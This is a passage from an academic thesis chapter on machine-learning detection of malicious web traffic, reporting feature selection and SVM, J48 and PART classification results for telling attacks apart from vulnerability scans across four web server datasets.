In the following sub-section we present the feature selection algorithm and the results of 
the feature selection process for each dataset for the two and multi-class problems. 
 
5.7.1 Background on Sequential Forward Selection (SFS)  
 
In this work we use a frequently used feature forward selection algorithm called 
Sequential Forward Selection (SFS) as a search method used with wrappers which evaluate each 
subset of features by running models generated from the SVM and J48 learners. 
SFS performs a simple hill-climbing search. Starts with an empty subset of features, and 
each step evaluates all possible single-feature expansions of to the current subset. The feature 
that leads to the best score is added permanently. The number of evaluations in each step is equal 
to the number of remaining attributes that are not in the currently selected subset. The currently 
selected subset grows with each step, until the algorithm terminates. In the first step, we perform 
N subset evaluations, in the second step N −1 and so on. The search terminates when no single 
feature expansion improves on the current best score. Improvement is defined as 10-fold cross-
validation accuracy enhancement of at least, compared to the current score (we use  = 0.0001). 
In this work we did two SFS’s the first is when SVM models are used as wrapper 
evaluators, and the second is when models are created with the J48 learner. 
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5.7.2 Feature Selection Results of the Two-class Problem 
 
Table 5.6, Table 5.7, Table 5.8, Table 5.9 present the results of the SFS when used with 
SVM for Web2.0 I, Web2.0 II, WebDBAdmin I, and WebDBAdmin II datasets respectively for 
the two-class problem. From these tables it can be seen that: 
 Feature 10. POST is selected by SVM in all four datasets. This is somehow expected 
since the majority of the attacks were posting spam on the Blog and the Wiki applications 
for the Web2.0 datasets, as well as password cracking for WebDBAdmin dataset which 
are conducted with POST HTTP method. 
 The feature 18. Applications is common between Web2.0 I and WebDBAdmin I datasets. 
 The rest of the selected features are unique for each dataset. 
 It is interesting to mention that out of 43 features that we extracted only 16 unique 





38. Semicolon Used 
40. Reserved Characters 
Table 5.6: Feature selection based on SVM for 
Web2.0 I 
2. Bytes Transferred 




27. Min Length 
32. Max Number of Parameters 
Table 5.7: Feature selection based on SVM for 
Web2.0 II 
 
8. Standard Deviation of Time Between Requests 
10. POST 
18. Applications 
23. Client Error 
30. Mean Number of Parameters 
Table 5.8: Feature selection based on SVM for 
WebDBAdmin I 
10. POST 
37. Remote Sites Injected 
39. Unsafe Characters 
Table 5.9: Feature selection based on SVM 
for WebDBAdmin II 
 
Table 5.10, Table 5.11, Table 5.12, and Table 5.13 present the results of the SFS when 
used with J48 for Web2.0 I, Web2.0 II, WebDBAdmin I, and WebDBAdmin II dataset 
respectively for the two-class problem. These results vary from the previously presented SVM 
based SFS. 
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 For example J48 did not select any common feature across all four datasets. 
 In total out of 43 features only 14 unique were selected for all datasets. 
If we break down the common features selected by J48 across dataset then: 
 The three datasets Web2.0 I, Web2.0 II, and WebDBAdmin II have one selected feature 
in common which is 27. Min Length. 
 Web2.0 II, WebDBAdmin I, and WebDBAdmin II have the feature 2. Bytes Transferred 
in common. 
 Web2.0 I and Web2.0 II have one common feature 31. Median Number of Parameters. 
 Web2.0 II and WebDBAdmin II have tree common features 9. GET, 28. Max Length and 
38. Semicolon Used. 
 It is interesting to mention that J48 only selected feature 10. POST only for Web2.0 I 
dataset. 
10. POST 
27. Max Length 
31. Median Number of Parameters 
32. Max Number of Parameters 
Table 5.10: Feature selection based on 
J48 for Web2.0 I 
2. Bytes Transferred 
8. Standard Deviation of Time Between Requests 
9. GET 
21. Success 
27. Min Length 
28. Max Length 
30. Mean Number of Parameters 
31. Median Number of Parameters 
36. Night 
38. Semicolon Used 
Table 5.11: Feature selection based on J48 for Web2.0 
II 
 
2. Bytes Transferred 
19. Texts 
Table 5.12: Feature selection based on J48 for 
WebDBAdmin I 
2. Bytes Transferred 
9. GET 
24. Server Error 
27. Min Length 
28. Max Length 
38. Semicolon Used 
Table 5.13: Feature selection based on J48 for 
WebDBAdmin II 
 
 As a summary for the two-class problem, out of 43 features that we extracted, only 22 
features were selected for SVM and J48 together. 
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 Out of these 22 features, 8 were common across the learners. Those features are 19. 
Texts, 21. Success, 24. Server Error, 28. Max Length, 31. Median Number of Parameters, 
and 36. Night. 
 One important observation is that a little over half of the features that we extracted are 
important and make difference regarding the learners based on the observed malicious 
traffic in our datasets. This is significant because it shows that indentifying these features 
will provide a significant improvement of the computational complexity of the learners 
and thus may help future anomaly detection tools that will try to distinguish between 
Attacks and Vulnerability scans. 
 
5.7.3 Feature Selection Results of the Multi-class Problem 
 
Table 5.14, Table 5.15, Table 5.16, and Table 5.17 present the results of the SFS when 
used with SVM for Web2.0 I, Web2.0 II, WebDBAdmin I, and WebDBAdmin II datasets, 
respectively for the multi-class problem. From these tables it can be seen that: 
 SVM did not select any common feature across the four datasets. 
 Feature 10. POST is common in three datasets Web2.0 I, WebDBAdmin I and 
WebDBAdmin II which is slightly different than for the two-class problem where it was 
selected for the Web2.0 II dataset as well. 
If we break down by common features selected by SVM across the dataset then: 
 Web2.0 II, WebDBAdmin I and WebDBAdmin II have the feature 1. Number of 
Requests in common. 
 Web2.0 II and WebDBAdmin I have the features 9. GET, 27. Min Length, 34. Standard 
Deviation of Number of Parameters, and 35. robots.txt in common. 
 Web2.0 I and WebDBAdmin II have 18. Applications and 38. Semicolon Used. 
 Web2.0 II and WebDBAdmin II have 16. Videos, 22. Redirection, 24. Server Error and 
37. Remote Sites Injected. 
 WebDBAdmin I and WebDBAdmin II 15. Pictures, 23. Client Error, 25. Mean Length, 
28. Max Length features in common. 
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 It is interesting to mention that out of 43 features that we extracted 32 features were 
selected by the SVM for all datasets. This is significantly higher number of relevant 
features when SVM is used in feature selection for the multi-class than for the two-class 
problem. This is somehow expected knowing that each attack and/or vulnerability scan is 




38. Semicolon Used 
40. Reserved Characters 
Table 5.14: Multi-class feature selection based 
on SVM for Web2.0 I (Full dataset) 
1. Number of Requests 
2. Bytes Transferred 




17. Static HTML 
19. Texts 
22. Redirection 
24. Server Error 
27. Min Length 
32. Min Number of Parameters 
34. Standard Deviation of Number of Parameters 
35. robots.txt 
37. Remote Sites Injected 
Table 5.15: Multi-class feature selection based 
on SVM for Web2.0 I (Full dataset) 
 
1. Number of Requests 





23. Client Error 
25. Mean Length 
27. Min Length 
28. Max Length 
34. Standard Deviation of Number of Parameters 
35. robots.txt 
Table 5.16: Multi-class feature selection based on 
SVM for WebDBAdmin I (Full dataset) 
1. Number of Requests 






23. Client Error 
24. Server Error 
25. Mean Length 
26. Median Length 
28. Max Length 
29. Standard Deviation of Length 
30. Mean Number of Parameters 
33. Max Number of Parameters 
37. Remote Sites Injected 
38. Semicolon Used 
39. Unsafe Characters 
Table 5.17: Multi-class feature selection based on 
SVM for WebDBAdmin II (Full dataset) 
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Table 5.18, Table 5.19, Table 5.20, and Table 5.21 present the results of the SFS when 
used with J48 for Web2.0 I, Web2.0 II, WebDBAdmin I, and WebDBAdmin II dataset 
respectively for the multi-class problem. From these tables it can be seen that: 
 The features 2. Bytes Transferred and 25. Mean Length are selected by J48 across the 
four datasets. 
If we break down by common features selected by SVM across the dataset then: 
 Web2.0 I and Web2.0 II dataset have the features 4. Average Time Between Requests 
and 9. GET in common. 
 Web2.0 II and WebDBAdmin I datasets have the feature 36. Night in common. 
 Web2.0 I and WebDBAdmin II have 29. Standard Deviation of Length in common. 
 Feature 10. POST again was not selected in all datasets. 
2. Bytes Transferred 
4. Average Time Between Requests 
9. GET 
15. Pictures 
25. Mean Length 
29. Standard Deviation of Length 
Table 5.18: Multi-class feature selection based 
on J48 for Web2.0 I (Full dataset) 
2. Bytes Transferred 
4. Average Time Between Requests 
9. GET 
22. Redirection 
23. Client Error 
25. Mean Length 
28. Max Length 
30. Mean Number of Parameters 
36. Night 
37. Remote Sites Injected 
Table 5.19: Multi-class feature selection based 
on J48 for Web2.0 II (Full dataset) 
 
2. Bytes Transferred 
3. Duration 
19. Texts 
25. Mean Length 
36. Night 
Table 5.20: Multi-class feature selection based 
on J48 for WebDBAdmin I (Full dataset) 
2. Bytes Transferred 
10. POST 
17. Static HTML 
25. Mean Length 
29. Standard Deviation of Length 
Table 5.21: Multi-class feature selection based 
on J48 for WebDBAdmin II (Full dataset) 
 
 In summary, the feature selection for multi-class problem resulted in more selected 
features. In total 34 unique features were selected by SVM and J48 together. 
 Out of those 34 only two features were in common across all learners. Those features are 
2. Bytes Transferred and 25. Mean Length. 
 It is interesting to mention that except when SVM was used to select features for the 
multi-class problem Web2.0 II dataset has the highest number of selected features of all 
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datasets. In the case when SVM was used to select features for the multi-class problem 
WebDBAdmin II had the highest number of selected features out of all datasets. This can 
be explained by the fact that Web2.0 II has the highest number of attacks among all 
datasets which are similar and require more features to be characterized. 
 Seven features were not selected at all. These features are: 7 Max time between requests, 
12 Number of requests with HEAD method type, 13 Number of requests with 
PROPFIND method type, 20 Number of requests with Informational code, 41 ASCII 
Control Characters, 42 Non ASCII Control Characters, 43 Invalid Characters. 
 The features 12, 20, 41, 42, 43 had zero values in all of our datasets, which is 
understandable why were not selected at all. 
 Although the feature 13 Number of requests with PROPFIND method type was 
significant when we labeled the DoS attack in the Web2.0 I dataset it was not selected by 
any learner for both problems. Feature 13 may have not been selected because it is 
significant only for one type of attack which can be explained with a combination of 
other more common features. 
 The features 7 was also a nonzero valued but still was not selected by the learners for 
both problems. 
 If we look at the feature selection when both learners were used for the two and multi-
class problem, only two features were not selected by the learners for the multi-class 
feature selection. These features are 6. Min time between requests and 31. Median 
Number of Parameters. 
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5.8 Classification Results 
 
In this section we present the results of applying the described machine learning 
techniques on our four datasets. First we present the results for the two-class and then for the 
multi-class classification problem. 
In total we use the following six different techniques based on SVM and J48: 
1. SVM applied on datasets containing all 43 features. 
2. SVM applied on the datasets containing the SFS selected features when used with 
SVM 
3. Unpruned J48 tree generated on the datasets containing all 43 features. 
4. Pruned J48 tree generated on the datasets containing all 43 features. 
5. Pruned J48 tree generated on the datasets containing only SFS selected features when 
used with J48 
6. PART 
As we mentioned in 5.3 Cross-validation we present the results of the performance 
measure that are average of 10-fold cross-validation for each technique used. 
5.8.1 Classification Results of the Two-class Problem 
 
Table 5.22 presents the results for the two-class problem alongside with the resulting 
confusion matrices and performance metrics for each dataset. The following observations can be 
made based on the results in Table 5.22. 
 If we look at the overall accuracy achieved by all the learners over all datasets (Figure 
5.6) it is ranging between 93.91% and 99.55%.  The lowest and the highest accuracy 
were achieved with SVM with selected features and Unpruned J48 respectively applied 
over the Web2.0 I dataset. 
 In our case using only overall accuracy can be misleading because we have uneven class 
distributions in most of the datasets. Web2.0 I, WebDBAdmin I, and WebDBAdmin II 
datasets have much more vulnerability scans than attacks. Therefore, using additional 
 
 Risto Pantev Chapter 5. Supervised Data Classification 
 
75
measures of performance can be useful for better understanding of the classification 
results. 
 The learners performing over the Web2.0 I dataset have the overall lowest probability of 
false alarm, ranging between 0.34% and 1.05%, across datasets (Figure 5.8) and most 
consistent precision, ranging between 98.95% and 99.66% (Figure 5.9). With exception 
when SVM is used with selected features, where the probability of detection and attack is 
77.13%, the rest of the learners detect attacks with probability above 96.93% (Figure 
5.2). Unpruned J48 performed the best over the Web2.0 I dataset when all the features are 
used. The balance is 99.00% which is 1% less than the ideal spot having maximum 
probability of detecting attacks and lowest probability of false alarm. 
 The learners performing on the Web2.0 II dataset have slightly higher probability of false 
alarm than Web2.0 I dataset, ranging from 2.51% to 5.83% (Figure 5.8). The probability 
of detecting an attack is the most consistent across datasets, ranging from 92.52% to 
97.36% (Figure 5.7). PART and Unpruned J48 performed the best over the Web2.0 II 
dataset (Figure 5.3). PART has highest balance of 97.29%. Unpruned J48 have 
probability of detecting an attack of 96.91% with lowest probability of false alarm of 
2.51%. 
 In both WebDBAdmin datasets the probability of false alarms and probability of 
detecting an attack are not consistent across the learners (Figure 5.4, Figure 5.5). 
 In WebDBAdmin I dataset when SVM is used with all, and only selected features, results 
in 0% probability of false alarms, but the probability of detecting an attack is 82.76% and 
86.21%, respectively (Figure 5.4). Pruned J48 with all features used performed the worst 
with probability of false alarms of 18.18% and PART performs the best with balance of 
92.74% and probability of detection an attack of 96.55%.  
 Learners over the WebDBAdmin II dataset performed with the lowest balance value and 
very low probability of detecting an attack compared to the other datasets (Figure 5.10). 
The lowest probability of detection an attack is 41.67% when SVM was used with all 
features. The main reason why the learners performed the worst over the WebDBAdmin 
II dataset is that all the attacks in this dataset are not very different than the vulnerability 
scans. Pruned J48 performed the best with balance of 76.30% (Figure 5.5). 
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 Other than two cases, mentioned next, the results of the learners with selected features are 
not significantly different than when all features are used. This is an indication that some 
features are more significant than others, and feature selection can be used in order to 
improve the computational complexity of the learners. 
 The feature selection improved the results in some learners for example with eliminating 
the false positives when SVM is used with selected features over the WebDBAdmin II 
dataset, while for other if we apply the same methods on the Web2.0 I dataset the results 
become worse, the probability of detecting an attack drops by 21.50%. 
 The tree pruning process resulted in slight drop in performance, around 1% in balance, 
over the datasets. 
 In general J48 learner’s performed better than SVM if we look at the balance, although 
for WebDBAdmin datasets SVM managed to completely eliminate the probability of 
false alarms (Figure 5.4, Figure 5.5). 
If we look at the sizes of the threes by the number of leaves or the generated rules used to 
classify the attacks from the vulnerability scan (Figure 5.1) than: 
 The Unpruned J48 has the highest number of the decision trees rules needed to classify 
the attacks from vulnerability scans. 
 From Figure 5.1 also can be seen that pruning the tree with only selected features does 
not result in lowering the number of the decision trees rules. 
 The number of rules needed to classify the attacks from the vulnerability scan for Web2.0 
II dataset is significantly bigger than those generated for the other datasets. This fact tells 
us that the Web2.0 II dataset contains more similar instances of attacks and vulnerability 
scans, and more complex rules are required to divide the two classes. 
 On the other hand, for Web2.0 II and for the other datasets as well, the PART rules are 
fewer in number and classify the attacks from vulnerability scan with no significant drop 
in performance. The performance over the datasets, speed of classification, 
understandability of its rules, and consistency in performance make PART a good 
candidate for use in an anomaly detection tool. In Appendix A we present the set of rules 
that successfully classify the attacks from vulnerability scan for each dataset. 
 









Number of Leaves of the unpruned tree Number of Leaves of the pruned tree
Number of Leaves of the pruned tree with selected features Number of PART rules
 















1. SVM 2. SVM (Selected)
3. J48 Unpruned 4. J48 Pruned
5. J48 Pruned (selected) 6. PART
 
Figure 5.2: Two-class problem ROC curve for 














1. SVM 2. SVM (Selected)
3. J48 Unpruned 4. J48 Pruned
5. J48 Pruned (selected) 6. PART
 
Figure 5.3: Two-class problem ROC curve for 














1. SVM 2. SVM (Selected)
3. J48 Unpruned 4. J48 Pruned
5. J48 Pruned (selected) 6. PART
 
Figure 5.4: Two-class problem ROC curve for 














1. SVM 2. SVM (Selected)
3. J48 Unpruned 4. J48 Pruned
5. J48 Pruned (selected) 6. PART
 
Figure 5.5: Two-class problem ROC curve for 
WebDBAdmin II dataset 
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Dataset Learner Features used TP FN FP TN Accuracy Recall PF Precision Balance 
1. SVM All 289 4 3 821 99.37% 98.63% 1.03% 98.97% 98.79% 
2. SVM* 10, 14, 18, 38, 40 226 67 1 823 93.91% 77.13% 0.44% 99.56% 83.83% 
3. J48 Unpruned All 289 4 1 823 99.55% 98.63% 0.34% 99.66% 99.00% 
4. J48 Pruned All 286 7 2 822 99.19% 97.61% 0.69% 99.31% 98.24% 





6. PART All 284 9 3 821 98.93% 96.93% 1.05% 98.95% 97.71% 
1. SVM All 2522 204 74 1985 94.19% 92.52% 2.85% 97.15% 94.34% 
2. SVM* 2, 6, 9, 10, 15, 27, 32 2651 75 164 1895 95.01% 97.25% 5.83% 94.17% 95.44% 
3. J48 Unpruned All 2644 82 73 1986 96.76% 96.99% 2.69% 97.31% 97.15% 
4. J48 Pruned All 2641 85 68 1991 96.80% 96.88% 2.51% 97.49% 97.17% 






6. PART All 2654 72 76 1983 96.91% 97.36% 2.78% 97.22% 97.29% 
1. SVM All 24 5 0 185 97.66% 82.76% 0.00% 100.00% 87.81% 
2. SVM* 8, 10, 18, 23, 30 25 4 0 185 98.13% 86.21% 0.00% 100.00% 90.25% 
3. J48 Unpruned All 24 5 4 181 95.79% 82.76% 14.29% 85.71% 84.17% 
4. J48 Pruned All 27 2 6 179 96.26% 93.10% 18.18% 81.82% 86.25% 











6. PART All 28 1 3 182 98.13% 96.55% 9.68% 90.32% 92.74% 
1. SVM All 15 21 2 511 95.81% 41.67% 11.76% 88.24% 57.92% 
2. SVM* 10, 37, 39 19 17 0 513 96.90% 52.78% 0.00% 100.00% 66.61% 
3. J48 Unpruned All 27 9 9 504 96.72% 75.00% 25.00% 75.00% 75.00% 
4. J48 Pruned All 26 10 6 507 97.09% 72.22% 18.75% 81.25% 76.30% 











6. PART All 23 13 6 507 96.54% 63.89% 20.69% 79.31% 70.57% 
Table 5.22: Results of the machine learning on all datasets for the two-class problem (SVM* and J48 Pruned* are when the learners are used only 
selected features)
 



































Figure 5.6: Comparison of the Accuracy 



































Figure 5.7: Comparison of the Recall between 




































Figure 5.8: Comparison of the Probability of 
False Alarm between Learners for the two-class 



































Figure 5.9: Comparison of the Precision 




































Figure 5.10: Comparison of the Balance 
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5.8.2 Classification Results of the Multi-class Problem 
 
Table 5.23 presents the overall accuracy achieved by all the learners over all datasets. 
There is a slight drop, but still very high accuracy if we compare the multi-class with the two-
class problems across the learners over all datasets. The accuracy is ranging between 76.14% and 
94.75%, with the lowest and the highest accuracy achieved when SVM with selected features is 
used on the WebDBAdmin II dataset and Unpruned J48 is used on the Web2.0 II dataset, 
respectively. In general from Table 5.23 it can be seen that the learners on the WebDBAdmin 
datasets achieved lower accuracy compared to the Web2.0 datasets. 
As we mentioned in 5.8.1 Classification Results of the Two-class Problem, which is even 
truer in this case, the overall accuracy can be misleading because we have uneven class 
distributions in Web2.0 I, WebDBAdmin I, and WebDBAdmin II datasets. 
 
Dataset Learner Features Used Accuracy 
1. SVM All 88.18% 
2. SVM* 10, 14, 18, 38, 40 93.46% 
3. J48 Unpruned All 94.63% 
4. J48 Pruned All 93.11% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 91.67% 
Web2.0 I 
6. PART All 92.97% 
1. SVM All 92.56% 
2. SVM* 1, 2, 5, 9, 10, 16, 17, 19, 22, 24, 27, 32, 34, 35, 37 92.53% 
3. J48 Unpruned All 94.75% 
4. J48 Pruned All 94.25% 
5. J48 Pruned* 2, 4, 9, 22, 23, 25, 28, 30, 36, 37 94.04% 
Web2.0 II 
6. PART All 94.06% 
1. SVM All 88.79% 
2. SVM* 1, 4, 9, 10, 11, 15, 23, 25, 27, 28, 34, 35 77.57% 
3. J48 Unpruned All 92.52% 
4. J48 Pruned All 88.79% 
5. J48 Pruned* 2, 3, 19, 25, 36 86.45% 
WebDBAdmin I 
6. PART All 87.85% 
1. SVM All 92.90% 
2. SVM* 1, 8, 15, 16, 18, 21, 22, 23, 24, 25, 26, 28, 29, 30, 33, 37, 38, 39 76.14% 
3. J48 Unpruned All 94.17% 
4. J48 Pruned All 94.17% 
5. J48 Pruned* 2, 10, 17, 25, 29 88.16% 
WebDBAdmin II 
6. PART All 94.26% 
Table 5.23: Overall accuracy of the machine learning on all datasets for the multi-class problem (SVM* and 
J48 Pruned* are when the learners are used only selected features) 
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If we closely look at the additional performance measures for each dataset per class then 
we can have better understanding of the classification results. 
Table 5.24 and Table 5.25 present the classification performance of the learners for the 
multi-class problem of the Web2.0 I dataset, which has 15 different classes of malicious traffic, 
spread among seven attack and eight vulnerability scan classes. 
The attack classes in Web2.0 I dataset are PassP, PassB, SpamB, SpamW, RFI, SQL 
injection, and XSS. The following can be seen from the Table 5.24. 
 All attack classes in Web2.0 I dataset are detected by all the learners with very low 
probability of false alarms ranging between 0.00% and 0.60%. 
 DoS attack is detected by all learners with 100.00% probability of detection, which was 
somehow expected because the nature of this attack is different than the other observed 
malicious traffic. 
 SQL injection attack on the other hand was not detected at all by any learner. The main 
reason why this is the case is because there was only one attack present in the Web2.0 I 
dataset. 
 Although the RFI and XSS, similarly as the SQL injection attack, are represented with 
four and two instances respectively, some learners managed to identify some of them. 
RFI attack is detected by the Pruned J48 with selected features with 75.00% probability 
of detection and the XSS is detected with probability of detection of 50% by three 
learners SVM, SVM with selected features, and Unpruned J48. 
 The most dominant type of attack in Web2.0 I dataset is posting the spam on the wiki 
application which is detected with probability of detecting an attack ranging between 
97.60% by SVM and 100.00% by both pruned and Unpruned J48. 
The vulnerability scans classes in the Web2.0 I dataset are Dfind, S+, Blog, Wiki, B&W, 
S+&B, S+&W, S+&B&W. The following can be seen from the Table 5.25. 
 Vulnerability scan classes in Web2.0 I dataset has slightly higher probability of false 
alarms than the attacks, ranging between 0.10% and 3.90% 
 The Dfind vulnerability scan, similarly as the DoS attack, is different in nature than the 
other types of malicious traffic and was detected by five learners with 100.00% 
probability. 
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 Static+ & Blog type of vulnerability scan is detected with lowest probability of detection 
ranging between 0% by Pruned J48 with selected features and 60% by Unpruned J48 out 
of all vulnerability scans, because it is misclassified as the very similar classes of 
vulnerability scans Static+, Blog, Static+&Blog&Wiki. 
 The other such outlier with slightly higher probability of detection than Static+ & Blog, 
ranging between 42.10% by SVM and 89.50% by SVM with selected features, is the 
Static+&Wiki vulnerability scan class. 
 The other types of vulnerability scans in the Web2.0 I dataset are detected with 
probability that ranges between 75.00% by SVM detecting Blog and 98.40% detecting 
SVM with selected features detecting Wiki. 
In general the detection of specific types of malicious traffic in Web2.0 I dataset, with 
exceptions of the DoS attack and DFind vulnerability scan, is closely related to the number of 
class instances. 
The low probability of false alarms is an indication that the extracted features provide 
enough details to make clear distinction between multiple classes of malicious traffic, although 
there is close similarity between certain types of malicious traffic. 
Contrary to the two-class problem in the multi-class problem for the Web2.0 I dataset the 
feature selection did result in improvement of the learners’ performance. 
SFS on Web2.0 I dataset selects five and six features by the SVM and J48 respectively. 
This indicates that only several key features from the Web2.0 I dataset are enough to 
successfully classify multiple classes of malicious traffic. 
 




Class Learner Features used Recall PF Precision Balance 
1. SVM All 100.00% 0.00% 100.00% 100.00% 
2. SVM* 10, 14, 18, 38, 40 100.00% 0.00% 100.00% 100.00% 
3. J48 Unpruned All 100.00% 0.00% 100.00% 100.00% 
4. J48 Pruned All 100.00% 0.00% 100.00% 100.00% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 100.00% 0.00% 100.00% 100.00% 
DoS 
(4) 
6. PART All 100.00% 0.00% 100.00% 100.00% 
1. SVM All 22.20% 0.30% 40.00% 44.99% 
2. SVM* 10, 14, 18, 38, 40 77.80% 0.10% 87.50% 84.30% 
3. J48 Unpruned All 66.70% 0.10% 85.70% 76.45% 
4. J48 Pruned All 55.60% 0.00% 100.00% 68.60% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 55.60% 0.30% 62.50% 68.60% 
PassB 
(9) 
6. PART All 44.40% 0.30% 57.10% 60.68% 
1. SVM All 78.30% 0.20% 90.00% 84.66% 
2. SVM* 10, 14, 18, 38, 40 95.70% 0.10% 95.70% 96.96% 
3. J48 Unpruned All 91.30% 0.30% 87.50% 93.84% 
4. J48 Pruned All 95.70% 0.50% 81.50% 96.94% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 82.60% 0.50% 79.20% 87.69% 
SpamB 
(23) 
6. PART All 95.70% 0.40% 84.60% 96.95% 
1. SVM All 97.60% 0.60% 98.00% 98.25% 
2. SVM* 10, 14, 18, 38, 40 99.20% 0.30% 98.80% 99.40% 
3. J48 Unpruned All 100.00% 0.10% 99.60% 99.93% 
4. J48 Pruned All 100.00% 0.10% 99.60% 99.93% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 99.60% 0.10% 99.60% 99.71% 
SpamW 
(249) 
6. PART All 99.60% 0.10% 99.60% 99.71% 
1. SVM All 50.00% 0.10% 66.70% 64.64% 
2. SVM* 10, 14, 18, 38, 40 50.00% 0.10% 66.70% 64.64% 
3. J48 Unpruned All 50.00% 0.10% 66.70% 64.64% 
4. J48 Pruned All 25.00% 0.00% 100.00% 46.97% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 75.00% 0.10% 75.00% 82.32% 
RFI 
(4) 
6. PART All 0.00% 0.10% 0.00% 29.29% 
1. SVM All 0.00% 0.00% 0.00% 29.29% 
2. SVM* 10, 14, 18, 38, 40 0.00% 0.10% 0.00% 29.29% 
3. J48 Unpruned All 0.00% 0.10% 0.00% 29.29% 
4. J48 Pruned All 0.00% 0.00% 0.00% 29.29% 




6. PART All 0.00% 0.00% 0.00% 29.29% 
1. SVM All 50.00% 0.00% 100.00% 64.64% 
2. SVM* 10, 14, 18, 38, 40 50.00% 0.20% 33.30% 64.64% 
3. J48 Unpruned All 50.00% 0.20% 33.30% 64.64% 
4. J48 Pruned All 0.00% 0.10% 0.00% 29.29% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 0.00% 0.10% 0.00% 29.29% 
XSS 
(2) 
6. PART All 0.00% 0.10% 0.00% 29.29% 
Table 5.24: Web2.0 I multi-class learner performance over attack classes (SVM* and J48 Pruned* are when 
the learners are used only selected features) 
 




Class Learner Features used Recall PF Precision Balance 
1. SVM All 100.00% 1.00% 68.60% 99.29% 
2. SVM* 10, 14, 18, 38, 40 95.80% 0.30% 88.50% 97.02% 
3. J48 Unpruned All 100.00% 0.20% 92.30% 99.86% 
4. J48 Pruned All 100.00% 0.30% 88.90% 99.79% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 100.00% 0.10% 96.00% 99.93% 
DFind 
(24) 
6. PART All 100.00% 0.30% 88.90% 99.79% 
1. SVM All 88.40% 2.20% 88.40% 91.65% 
2. SVM* 10, 14, 18, 38, 40 91.70% 0.70% 96.00% 94.11% 
3. J48 Unpruned All 98.30% 0.30% 98.30% 98.78% 
4. J48 Pruned All 97.20% 0.90% 95.70% 97.92% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 89.00% 1.10% 94.20% 92.18% 
S+ 
(181) 
6. PART All 96.70% 0.70% 96.20% 97.61% 
1. SVM All 75.70% 3.90% 67.50% 82.60% 
2. SVM* 10, 14, 18, 38, 40 86.90% 2.00% 82.30% 90.63% 
3. J48 Unpruned All 83.20% 1.30% 87.30% 88.09% 
4. J48 Pruned All 80.40% 0.70% 92.50% 86.13% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 83.20% 2.40% 78.80% 88.00% 
Blog 
(107) 
6. PART All 83.20% 1.30% 87.30% 88.09% 
1. SVM All 93.80% 3.10% 94.00% 95.10% 
2. SVM* 10, 14, 18, 38, 40 98.40% 2.20% 95.90% 98.08% 
3. J48 Unpruned All 97.10% 1.50% 97.10% 97.69% 
4. J48 Pruned All 95.60% 2.60% 95.10% 96.39% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 96.60% 2.20% 95.90% 97.14% 
Wiki 
(385) 
6. PART All 96.60% 2.00% 96.10% 97.21% 
1. SVM All 78.10% 1.10% 82.60% 84.49% 
2. SVM* 10, 14, 18, 38, 40 80.80% 0.30% 95.20% 86.42% 
3. J48 Unpruned All 93.20% 0.50% 93.20% 95.18% 
4. J48 Pruned All 91.80% 0.90% 88.20% 94.17% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 90.40% 0.70% 90.40% 93.19% 
B&W 
(73) 
6. PART All 89.00% 0.80% 89.00% 92.20% 
1. SVM All 30.00% 0.50% 33.30% 50.50% 
2. SVM* 10, 14, 18, 38, 40 10.00% 0.30% 25.00% 36.36% 
3. J48 Unpruned All 60.00% 0.40% 60.00% 71.71% 
4. J48 Pruned All 40.00% 0.30% 57.10% 57.57% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 0.00% 0.40% 0.00% 29.29% 
S+&B 
(10) 
6. PART All 20.00% 0.40% 33.30% 43.43% 
1. SVM All 42.10% 0.50% 61.50% 59.06% 
2. SVM* 10, 14, 18, 38, 40 89.50% 0.50% 77.30% 92.57% 
3. J48 Unpruned All 78.90% 0.60% 68.20% 85.07% 
4. J48 Pruned All 63.20% 0.60% 63.20% 73.98% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 73.70% 0.80% 60.90% 81.39% 
S+&W 
(19) 
6. PART All 68.40% 0.90% 56.50% 77.65% 
1. SVM All 84.00% 0.40% 84.00% 88.68% 
2. SVM* 10, 14, 18, 38, 40 92.00% 0.60% 76.70% 94.33% 
3. J48 Unpruned All 80.00% 0.50% 76.90% 85.85% 
4. J48 Pruned All 88.00% 1.30% 61.10% 91.47% 
5. J48 Pruned* 2, 4, 9, 15, 25, 29 76.00% 0.90% 65.50% 83.02% 
S+&B&W 
(25) 
6. PART All 76.00% 0.90% 65.50% 83.02% 
Table 5.25: Web2.0 I multi-class learner performance over vulnerability scan classes (SVM* and J48 
Pruned* are when the learners are used only selected features) 
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Table 5.26 and Table 5.27 present the classification performance of the learners for the 
multi-class problem of the Web2.0 II dataset. Web2.0 II dataset has the highest number of 
different classes of malicious traffic, in total 18, spread amongst 7 attack classes and 11 
vulnerability scans. 
The attack classes in Web2.0 II dataset are PassB, PassW, SpamB, SpamW, RFI, XSS, 
and Other attack. The following can be observed from Table 5.26. 
 All attack classes in Web2.0 II dataset are detected by all the learners with slightly higher 
probability of false alarms than the ones in Web2.0 I dataset, ranging between 0.00% and 
4.90%. 
 The two biggest classes in the Web2.0 II dataset are the attacks posting spam on blog and 
wiki. Together the instances from the SpamB and SpamW are accountable for the 
51.53% of the total malicious traffic instances in Web2.0 II dataset. SpamB was 
classified by all the learners with balance ranging between 99.64% and 99.75%. 
Performance of the learners over the SpamW class is slightly lower then over SpamB 
with balance ranging between 95.12% and 95.84%. 
 Password cracking of Blog user account is not detected at all by any learner because of 
existence of only one instance in the dataset. 
 The other attacks PassW, RFI, XSS, and Other attack although are not significantly 
represented in the dataset are successfully detected by the learners. PassW was detected 
with the highest balance of 98.02% by J48 Unpruned; RFI with 100.00% by SVM, SVM 
with selected features, and Unpruned J48; XSS with 80.70% by SVM and SVM with 
selected features; and Other attack with highest balance of 94.27% by Unpruned J48. 
The vulnerability scans classes in the Web2.0 II dataset are DFind, Other Fingerprinting, 
S+, Blog, Wiki, B&W, S+&B, S+&W, S+&B&W, phpMyAdmin, S+&phpMyAdmin. The 
following can be seen from the Table 5.27. 
 In Web2.0 II dataset, with exception of the DFind vulnerability scan class there is no 
